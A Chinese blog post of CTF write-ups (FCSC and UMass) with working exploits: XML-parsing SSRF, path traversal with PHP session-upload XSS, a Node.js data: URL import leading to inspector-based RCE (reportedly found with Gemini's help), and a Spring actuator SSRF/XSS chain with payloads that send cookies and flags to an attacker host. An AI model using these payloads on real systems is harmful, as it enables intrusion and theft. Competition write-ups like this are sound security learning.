mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1208 字
3 分钟
ChaoMixian-WriteUp-20260412
2026-04-12

Bubulle Corp (Part 1/2)#

考察XML解析差异。需要SSRF到internal-proxy,访问http://bubulle-corp-internal-proxy/aaa,任意非根路径都能代理到打印flag.txt

存储xml时,有https要求,那么是无法SSRF到proxy的。

if request.method == "POST":
xml_data = request.form["settings"]
try:
root = ET.fromstring(xml_data.encode())
except ET.XMLSyntaxError:
return render_template("settings.html", user=user, error="Invalid XML")
if root.tag != "settings":
return render_template("settings.html", user=user, error="Root element must be <settings>")
child_tags = [elem.tag for elem in root]
if "icon_url" not in child_tags:
return render_template("settings.html", user=user, error="Missing <icon_url>")
if "method" not in child_tags:
return render_template("settings.html", user=user, error="Missing <method>")
for elem in list(root):
if elem.tag == "icon_url" and (not elem.text or not elem.text.startswith("https://")):
return render_template("settings.html", user=user, error="Icon URL must start with https://")
if elem.tag == "method" and elem.text not in ("GET", "POST"):
return render_template("settings.html", user=user, error="Method must be GET or POST")
if elem.tag not in ("icon_url", "method", "body"):
root.remove(elem)
clean = ET.tostring(root, encoding="unicode")
db.execute("UPDATE users SET settings = ? WHERE id = ?", (clean, session["user_id"]))
db.commit()
return redirect("/settings")

不过fetch头像处,并没有严格限制节点位置,而是使用find来查找.//icon_url,导致存在多个相同节点时,会取第一个。

root = ET.fromstring(settings_xml.encode())
icon_url = root.find(".//icon_url").text
method = root.find(".//method").text
body = root.find(".//body").text if root.find(".//body") else None

构造以下payload:

<settings>
<body>
<icon_url>http://bubulle-corp-internal-proxy/aaa</icon_url>
</body>
<icon_url>https://baidu.com</icon_url>
<method>GET</method>
</settings>

下载头像icon获得flag:

FCSC{c22f014ba1aac9b3c487989156c470b0}

Shellfish Say#

Finally the new version of Shrimp Say is out! Discover Shellfish Say! To ask the bot to say something, simply log in with: nc challenges.fcsc.fr 2256. Note: The VM of the event does not have access to the Internet.

请求nc会响应:

==========
Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(
Note that your exploit must target http://shellfish-say/ to get the flag.
==========

有点没太看懂。

app/html/get_quote.php

<?php
$quote_file = "/tmp/quotes/";
if(isset($_GET["quote"])) {
if(strpos($_GET["quote"],":")) {
$quote_file .= parse_url($_GET["quote"].".txt")["path"];
} else {
if(strpos($_GET["quote"], "..")) {
$quote_file .= "shellfish.txt";
} else {
$quote_file .= $_GET["quote"].".txt";
}
}
} else {
$quote_file .= "shellfish.txt";
}
if(!file_exists($quote_file)) {
$quote_file = "/tmp/quotes/shellfish.txt";
}
readfile($quote_file);

哦还有个.htaccess的重写规则:

RewriteEngine On
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ $1.php [L]

先来分析get_quote.php,这里应该能任意文件读取。 quote_file前缀限制死了,需要用..来路径穿越。注意到..的防御在if(strpos($_GET["quote"],":"))的else里,所以只需让quote参数包含:即可。走parse_url也就意味着拼接.txt可以用%00或者%23来截断。

构造payload:

/get_quote?quote=http://aaa/../../var/www/html/index.php%23

不过注意到php.ini有openbase_dir限制:

open_basedir = /var/www/html/:/tmp/
file_uploads = On
session.upload_progress.cleanup = Off

怀疑要通过/tmp下的session来进行bot的xss。不行了,先本地起一个docker看看。我去我这网络怎么了qwq

curl -sS \
-b "PHPSESSID=test" \
-F "PHP_SESSION_UPLOAD_PROGRESS=MARK" \
-F "file=@/etc/hosts;filename=x.txt" \
"http://127.0.0.1:8000/get_quote.php" > /dev/null

sess 成功写入session文件。

curl -b "PHPSESSID=test" \
-F 'PHP_SESSION_UPLOAD_PROGRESS=<script>console.log(document.cookie)</script>' \
-F "file=@x.txt" \
http://127.0.0.1:8000/get_quote.php

那么就是一个很简单的XSS了,直接上exp:

import requests
# url = "http://127.0.0.1:8000/get_quote.php"
url = "https://shellfish-say.fcsc.fr/get_quote.php"
cookies = {"PHPSESSID": "test"}
files = {
"file": ("aaa.txt", b"test")
}
data = {
"PHP_SESSION_UPLOAD_PROGRESS": "<script>console.log(document.cookie)</script>"
}
r = requests.post(url, cookies=cookies, files=files, data=data)
print(r.text)
# http://shellfish-say/get_quote?quote=http://aaa/../../tmp/sess_test%23

然后nc上去给http://shellfish-say/get_quote?quote=http://aaa/../../tmp/sess_test%23就可以了。 flag flag

FCSC Aquarium#

注意到,/language存在路径穿越:

app.post("/language", async (req, res) => {
const requested = req.body?.lang || "fr";
try {
res.json(await import(requested+"/index.js"));
} catch {
res.json(await import("fr/index.js"));
}
});

PoC如下:

{"lang":"en/../it"}
app.get("/message", (req, res) => {
let data;
try {
data = readFileSync("/tmp/message.txt").toString();
} catch {
//The dev was angry before leaving the aquarium, messages service must be fixed and maybe the frontend too
data = "F🐟I🐟S🐟H🐟";
}
res.json({"message": data});
});

这个接口会去读取/tmp/message.txt,不过这个文件一开始不存在,需要bot去随机写入,但是bot注释掉了写入操作。

const {writeFileSync} = require("fs");
async function chooseMsg() {
const messages = [
"I HATE FISH FISH ARE BAD",
"FISH ARE BAD",
"I HATE THIS AQUARIUM FISH ARE BAD"
];
const randomMessage = messages[Math.floor(Math.random() * messages.length)];
// NEED TO FIX THESE BAD MESSAGES ASAP
//writeFileSync("/tmp/message.txt", randomMessage);
// Fishes needs some rest
await new Promise(r => setTimeout(r, 10000));
}
chooseMsg();

但最终是需要RCE执行/readflag,同时考虑到靶机是公共的,因此不可能是修改messages.js。

注意到Dockerfile里这一段:mv fr it en node_modules以及read_only: true

显然,要去看看node_modules,看看能不能利用现有代码实现RCE。诶不对,好像可以用data url:

data:text/javascript,console.log(1);//

poc 模仿en/index.js构造payload,export default就会回显,成功读到文件。

{
"lang": "data:text/javascript,import fs from 'fs';export default{disclaimer:fs.readFileSync('/etc/passwd').toString()};//"
}

read node --permission --allow-fs-read=/ /usr/app/server.mjs限制,导致无法执行/getflag。而且Docker是只读,同时限制了额外内存为1k,走不下去。必须利用bot来RCE。

网上搜了一下资料,发现Node.js的—permission模型并不限制process.kill,另外还找到了一个很新的CVE,Node.js权限模型权限绕过漏洞(CVE-2026-21716),但不是这个。

没招了,找Gemini爆了。居然真的能行,不过感觉是非预期啊,用的方法也很野路子。遍历进程process.kill强制bot进入调试模式,然后请求http://127.0.0.1:9229/json/list读到调试id,构造请求RCE。

{
"lang": "data:text/javascript,export default{disclaimer:await(async()=>{const M=process.pid;for(let i=1;i<65535;i++){if(i!==M){try{process.kill(i,'SIGUSR1')}catch(e){}}}await new Promise(r=>setTimeout(r,2000));try{let list=await(await fetch('http://127.0.0.1:9229/json/list')).json();return await new Promise(R=>{let w=new WebSocket(list[0].webSocketDebuggerUrl);w.onopen=()=>w.send(JSON.stringify({id:1,method:'Runtime.evaluate',params:{expression:'new Promise(r=>process.mainModule.require(`child_process`).execFile(`/getflag`,(e,o)=>r(String(o))))',awaitPromise:true,returnByValue:true}}));w.onmessage=m=>R(JSON.parse(m.data).result?.result?.value);w.onerror=()=>R('WSErr')})}catch(e){return'Err:'+e.message}})()};//"
}

大受震撼,这真不知道被kill了还有debugger。 local flag

FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}

Shrimp Saver#

没有什么比一个基于甲壳类动物的小型屏幕保护程序更能照亮你的工作站了!
警告:当您测试挑战时,浏览器插件可能会干扰其正常运行,建议停用它们。
应用程序:https://shrimp-saver.fcsc.fr/
机器人:nc challenges.fcsc.fr 2258。
注:事件的 VM 无法访问互联网。

还是需要让bot访问https://shrimp-saver.fcsc.fr/flag.php

<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");
header("X-Frame-Options: DENY");
header("Content-Type: text/html; charset=utf-8");
header("Referrer-Policy: no-referrer");
header("Cross-Origin-Opener-Policy: same-origin");
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="icon" href="./shrimp.gif" />
<link rel="stylesheet" href="style.css" />
<title>Shrimp Saver</title>
</head>
<body>
<main>
<div class="shrimp"><img src="./shrimp.gif" alt="Shrimp"></div>
</main>
<script nonce="<?= $nonce ?>" src="/app.js"></script>
</body>
</html>

既然出现了nonce,又出现了dom相关,应该xss。

看app.js

var blacklist = ["constructor", "__proto__"];
function resolvePath(obj, parts) {
let target = obj;
for (let part of parts) {
if (blacklist.includes(part)) {
throw new Error("Blacklisted path part");
}
if (target[part] === undefined) {
throw new Error(`Invalid path ${part}`);
}
target = target[part];
}
return target;
}
function copy(copyTo, copyFrom) {
const parts = copyTo.split(".");
const lastPart = parts.pop();
const target = resolvePath(document.body, parts);
const value = resolvePath(document.body, copyFrom.split("."));
target[lastPart] = value;
}
const searchParams = new URLSearchParams(window.location.search);
for (const [name, value] of searchParams.entries()) {
copy(name, value);
}

有个DOM拷贝,可以替换掉app.js的加载,不过有nonce存在,也不是那么顺利。先测试一下读取nonce,lastElementChild就是script标签:

http://shrimp-saver/index.php?ownerDocument.defaultView.location.search=lastElementChild.nonce

可以看到请求了http://shrimp-saver/index.php?SauyDLUljhWzjtYL4PiOQw==,成功拿到nonce。不过这没什么用,每次的nonce都不一样。

如果知道了当前的nonce就可以构造最终的payload,如下(当然是不行的因为nonce会变)

http://shrimp-saver/index.php?<svg><script/nonce="SauyDLUljhWzjtYL4PiOQw==">fetch('/flag.php').then(r=>r.text()).then(console.log)</script></svg>&ownerDocument.body.innerHTML=ownerDocument.defaultView.location.search

还是没成功,下面这个可以绕过了nonce了但是尖括号又被转义了。

http://shrimp-saver/index.php?ownerDocument.defaultView.name=lastElementChild.nonce&ownerDocument.body.innerHTML=ownerDocument.defaultView.location.hash&ownerDocument.body.childNodes.1.nonce=ownerDocument.defaultView.name&ownerDocument.body.childNodes.2.srcdoc=ownerDocument.body.childNodes.1.outerHTML#<script>fetch('/flag.php').then(r=>r.text()).then(console.log)</script><iframe></iframe>

坏坏,菜菜。

The Block City Times#

src/main/java/com/example/demo/controller/web/StoryController.java

String contentType = file.getContentType();
if (contentType == null || !outboundProps.getAllowedTypes().contains(contentType)) {
model.addAttribute("error",
"File type '" + contentType + "' is not accepted. " +
"Please submit a plain text or PDF document.");
return "submit";
}
String safe = file.getOriginalFilename().replaceAll("[^a-zA-Z0-9._-]", "_");
String filename = UUID.randomUUID() + "-" + safe;
Files.write(uploadDir.resolve(filename), file.getBytes());

/submit这里的file.getContentType()是获取网络层的值,也就是可以任意修改的,虽然只允许 text/plain 和 application/pdf,但只需要强制指定类型就可以绕过。

翻看代码,发现后端存在env配置,且/admin/report接口要求处于dev模式才可使用,全局搜索dev关键词。

if (!appProps.getActiveConfig().equals("dev")) {
return "redirect:/admin?error=reportdevonly";
}

注意到配置文件的web侧导出了refreshenv两个接口,并且appconfig写明了dev和prod两种模式,默认运行在prod下

management:
endpoints:
web:
exposure:
include: refresh, health, info, env
app:
configs:
dev:
greeting: "NOTICE: THE WEBSITE IS CURRENTLY RUNNING IN DEV MODE"
environment-label: "development"
prod:
greeting: "BREAKING: MAN FALLS INTO RIVER IN BLOCK CITY"
environment-label: "production"

思路是首先通过editorial请求env和refresh,切换到dev模式,这里需要绕过csrf限制,可以用正则匹配来提取csrf token

if (!endpoint.startsWith("/api/")) {
return "redirect:/admin?error=reportbadendpoint";
}

然后ssrf请求/admin/report。审计这一部分代码,传入的endpoint仅要求startsWith("/api/"),那么构造路径穿越就可以控制report-runner访问可控html进行xss,最简单的就是再次请求到同一个html,如果有cookie就判断为是report-runner,直接把flag发出去。

exp.html

<!DOCTYPE html>
<html>
<body>
<script>
(async function() {
if (document.cookie.includes('FLAG') || document.cookie.includes('flag')) {
fetch('http://IP:PORT/?flag=' + btoa(document.cookie));
return;
}
try {
let htmlResponse = await (await fetch('/submit')).text();
let csrfMatch = htmlResponse.match(/name="_csrf"\s+value="([^"]+)"/);
if (!csrfMatch) return;
let csrfToken = csrfMatch[1];
await fetch('/actuator/env', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: 'app.active-config', value: 'dev' })
});
// 这里不能用await啊,不然连不上就断掉了()
fetch('/actuator/refresh', { method: 'POST' }).catch(e => console.log("Refresh connection dropped, as expected."));
setTimeout(() => {
let currentPath = window.location.pathname;
let payloadEndpoint = '/api/..' + currentPath;
let formData = new URLSearchParams();
formData.append('_csrf', csrfToken);
formData.append('endpoint', payloadEndpoint);
fetch('/admin/report', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: formData.toString()
});
}, 3000);
} catch (e) {
console.error("Exploit chain failed:", e);
}
})();
</script>
</body>
</html>

投递可以用curl,不过也要csrf token,总之很麻烦不如用python: exp.py

import requests
import re
# url = "http://localhost:32769/submit"
url = "http://53b4d82e-6962-4128-80fe-3534cc7b637b.blockcitytimes.web.ctf.umasscybersec.org/submit"
session = requests.Session()
response = session.get(url)
csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', response.text)
csrf_token = csrf_match.group(1)
print(csrf_token)
files = {
'file': ('exp.html', open('exp.html', 'rb'), 'text/plain')
}
data = {
'_csrf': csrf_token,
'title': '123',
'author': '456',
'description': '789'
}
print(session.post(url, data=data, files=files).status_code)

flag

VPS接到flag:

UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}

ORDER66#

泄露了seed,那么random就是可以预测的。计算出随机的格子,投递一个xss即可。

import random
seed = 9026
random.seed(seed)
print(random.randint(1, 66))
# <script>fetch('http://VPS:IP/?flag=' + document.cookie)</script>

flag

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260412
https://blog.chaomixian.top/posts/chaomixian-writeup-20260412/
作者
炒米线
发布于
2026-04-12
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录